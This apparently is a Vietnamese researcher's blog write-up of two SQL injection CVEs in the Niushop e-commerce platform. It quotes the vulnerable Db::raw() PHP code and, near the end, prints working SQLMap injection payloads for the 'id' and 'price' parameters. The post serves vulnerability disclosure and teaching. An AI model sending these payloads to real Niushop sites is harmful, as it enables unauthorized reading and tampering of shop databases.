Lần đầu tiên biết CVE hình dạng như thế nào?
Lỗ hổng bảo mật SQL Injection 'CVE-2024-28559' và 'CVE-2024-28560' của sản phẩm Niushop (version <= 5.3.3)
Lời nói đầu
Mình xin tự giới thiệu mình là Trung hay còn được biết đến với tên gọi chigger . Mình là em út trong gia đình CookieHanHoan. Đây là 2 chiếc CVE đầu tiên của mình. Cảm ơn thầy Hazy, cảm ơn anh Jay, anh Lò, anh Dần, anh Phong, anh Sơn đã giúp mình thực hiện được ước mơ bấy lâu nay.
Thông tin lỗ hổng
Bài viết này sẽ sử dụng phương pháp phân tích Whitebox, còn được gọi là Source Code Audit để phân tích source code và tìm ra lỗ hổng.
CVE-2024-28560:
Điểm số: 6.3
Mức độ nguy hiểm: Medium
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
CVE-2024-28559:
Điểm số: 6.3
Mức độ nguy hiểm: Medium
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Mục tiêu
Niushop là một giải pháp thương mại điện tử mã nguồn mở, được thiết kế để hỗ trợ các nhà phát triển nhanh chóng triển khai và tùy chỉnh các chức năng bán hàng, quản lý sản phẩm, và các dịch vụ hậu mãi.
Quản lí mã nguồn: Niushop
Nền tảng này được thiết kế bằng ngôn ngữ PHP và sử dụng Frame Work:
Think PHP 6
LayUi
ElementUi
Với hơn 450 kết quả được tìm kiếm trên Shodan,chủ yếu tập trung tại Trung Quốc, Hong Kong và Thái Lan đã cho thấy đây là nền tảng được nhiều người tin dùng trong cộng đồng thương mại điện tử
Nguyên nhân gốc rễ (root-cause) gây ra lỗ hổng?
Lỗ hổng Injection, đặc biệt là SQL Injection, thường xuất phát từ việc ứng dụng không kiểm soát chặt chẽ dữ liệu đầu vào từ người dùng, hay còn được gọi là dữ liệu không đáng tin cậy (Untrusted-Data). Trong trường hợp của Niushop, việc quản lý và thao tác dữ liệu được đơn giản hóa nhờ vào việc áp dụng ORM (Object-Relational Mapping).
Các ORM Framework hỗ trợ lập trình viên tự viết và thực thi truy vấn SQL tùy ý. ThinkPHP cung cấp hàm DB::raw() để thực hiện tính năng này. Tuy nhiên, khi sử dụng hàm DB::raw(), lập trình viên phải tự kiểm tra và xác thực dữ liệu đầu vào từ người dùng. Việc thiếu kiểm tra và xác thực dữ liệu có thể dẫn đến nguy cơ bảo mật cao.
CVE-2024-28560
Xem xét hàm deleteArea() trong file /app/model/system/Address.php sử dụng DB::raw(). Ở hàm này được truyền vào 2 biến $id, $level đều xuất hiện trong câu truy vấn SQL. Mình cần xác định xem có tất cả các vị trí trong mã nguồn gọi đến hàm deleteArea(). Mình cần làm vậy để có thể xem các biến có thể được truyền vào từ người dùng hay không.
class Address extends BaseModel
{
....
public function deleteArae($id, $level){
switch ((int)$level) {
case 1:
$child = model('area')->getColumn([ ['pid', '=', $id] ], 'id');
if (empty($child)) {
$condition = [ ['id', '=', $id], ['level', '=', $level] ];
} else {
$child = implode(',', $child);
$condition = [ ['', 'exp', Db::raw("(id = $id AND level = $level) OR (id in ($child) AND level = 2) OR (pid in ($child) AND level = 3)") ]];
}
break;
case 2:
$condition = [ ['', 'exp', Db::raw("(id = $id AND level = 2) OR (pid = $id AND level = 3)") ]];
break;
case 3:
$condition = [ ['id', '=', $id], ['level', '=', $level] ];
break;
}
$res = model('area')->delete($condition);
if ($res) {
Cache::clear('area');
return $this->success($res);
}
return $this->error();
}
....
}
Phân tích source code trên có thể thấy rằng muốn có thể xảy ra lỗ hổng SQL injection thì biến $level phải có giá trị là 1 hoặc 2 để switch case có thể hoạt động đồng thời câu truy vấn có thể được thực thi.
class Address extends BaseShop
{
....
public function deleteArea(){
if (request()->isJson()) {
$address_model = new AddressModel();
$id = input('id');
$level = input('level');
return $address_model->deleteArae($id, $level);
}
}
....
}
Tại hàm deleteArea() ở file app/shop/controller/Address.php có gọi đến hàm deleteArea() và có giá trị của biến $id, $level được nhập vào từ người dùng và có thể thấy không có sử dụng phương pháp nào được kiểm tra giá trị được truyền vào. Điều này có thể gây ra lỗ hổng SQL Injection.
CVE-2024-28559
Tương tự mình xét hàm setPrice() trong file app/model/goods/Batch.php sử dụng DB::raw. Câu truy vấn SQL có sử dụng tham số $calculate_str được truyền vào từ mảng $param đầu vào của hàm.
class Batch extends BaseModel
{
....
public function setPrice($params)
{
....
$calculate_str = $calculate_price_field . $sign_str . $price;
switch ( $precise ) {
case 1://全部保留
$calculate_str = 'FLOOR((' . $calculate_str . ')*100)/100';
break;
case 2://抹分
$calculate_str = 'FLOOR((' . $calculate_str . ')*10)/10';
break;
case 3://抹角
$calculate_str = 'FLOOR(' . $calculate_str . ')';
break;
case 4://四舍五入到分
$calculate_str = 'ROUND(' . $calculate_str . ', 2)';
break;
case 5://四舍五入到角
$calculate_str = 'ROUND(' . $calculate_str . ', 1)';
break;
case 6://四舍五入到元
$calculate_str = 'ROUND(' . $calculate_str . ')';
break;
}
//todo mysql的 round函数和floor函数
$update_data[ $price_field ] = Db::raw($calculate_str);
$todo_price = $calculate_str;
break;
}
.....
return $this->success($update_data);
}
....
}
Phân tích source code trên thấy rằng trong câu truy vấn có chứa biến $calculate_str. Giá trị của biến $calculate_str là kết quả nối chuỗi từ các biến $calculate_price_field, $sign_str, $price. Tất cả các biến đều không được kiểm tra dẫn đến có thể tồn tại lỗ hổng SQL Injection.
class Goodsbatchset extends BaseShop
{
....
public function setPrice()
{
$type = input('type', '');// 金额 money 公式计算 calculate
$price_type = input('price_type', '');// 价格字段 sale 销售价 cost 成本价 market 划线价
$goods_ids = input('goods_ids', '');
$calculate_price_type = input('calculate_price_type', '');//计算所用价格字段 sale 销售价 cost 成本价 market 划线价
$price = input('price', 0);//设置的价格
$sign = input('sign', '');//运算符号 add 加法subtract减法 multiply 乘法 division 除法
$precise = input('precise', '');//精度 1 全部保留 2 抹分 3 抹角 4 四舍五入到分 5 四舍五入到角 6 四舍五入到元 7
$calculate_price = input('calculate_price', 0);
$params = array(
'site_id' => $this->site_id,
'type' => $type,
'price_type' => $price_type,
'goods_ids' => $goods_ids,
'price' => $price,
'sign' => $sign,
'precise' => $precise,
'calculate_price_type' => $calculate_price_type,
'calculate_price' => $calculate_price
);
$batch_model = new Batch();
$result = $batch_model->setPrice($params);
return $result;
}
....
}
Tại vị trí hàm setPrice() ở file /app/shop/controller/Goodsbatchset.php gọi hàm setPrice(). Mình có thể thể nhận ra rằng biến $price được truyền giá trị nhập vào từ người dùng không được kiểm tra. Từ đó, tham số này có thể tồn tại lỗ hổng SQL injection.
Cách khai thác
Việc thiếu kiểm tra dữ liệu đầu vào khi sử dụng DB::raw() tiềm ẩn nguy cơ SQL Injection. Kẻ tấn công có thể lợi dụng ký tự đặc biệt để phá vỡ cú pháp truy vấn và thực thi mã độc hại.
CVE-2024-28560
Mình thử với kí tự đặc biệt '. Quan sát thấy server trả về thông báo lỗi cú pháp của câu truy vấn. Vậy ở đây ở tham số id tồn tại lỗ hổng SQL Injection.
Mình sử dụng công cụ như SQLMap (công cụ tự động hóa quá trình khai thác lỗ hổng SQL Injection). SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan.
Mã khai thác:
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: {
"id": "(SELECT (CASE WHEN (8848=8848) THEN 0x2d31 ELSE (SELECT 4566 UNION SELECT 2739) END))",
"level":"2"
}
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: {
"condition" :"1",
"id": "-1 AND GTID_SUBSET(CONCAT(0x7176787671,(SELECT (ELT(8682=8682,1))),0x717a7a6271),8682)",
"level":"2"
}
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
Payload: {
"condition" :"1",
"id": "-1 AND 1045=BENCHMARK(5000000,MD5(0x5455666b))",
"level":"2"
}
CVE-2024-28559
Tương tự mình thử với kí tự đặc biệt '. Quan sát thấy server trả về thông báo lỗi cú pháp của câu truy vấn. Vậy ở đây ở tham số price tồn tại lỗ hổng SQL Injection.
Mã khai thác:
Type: boolean-based blind
Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: type=calculate&price_type=market&goods_ids=a&calculate_price_type=market&price=0 AND EXTRACTVALUE(3532,CASE WHEN (3532=3532) THEN 3532 ELSE 0x3A END)&sign=add&precise=0&calculate_price=0
vipro quá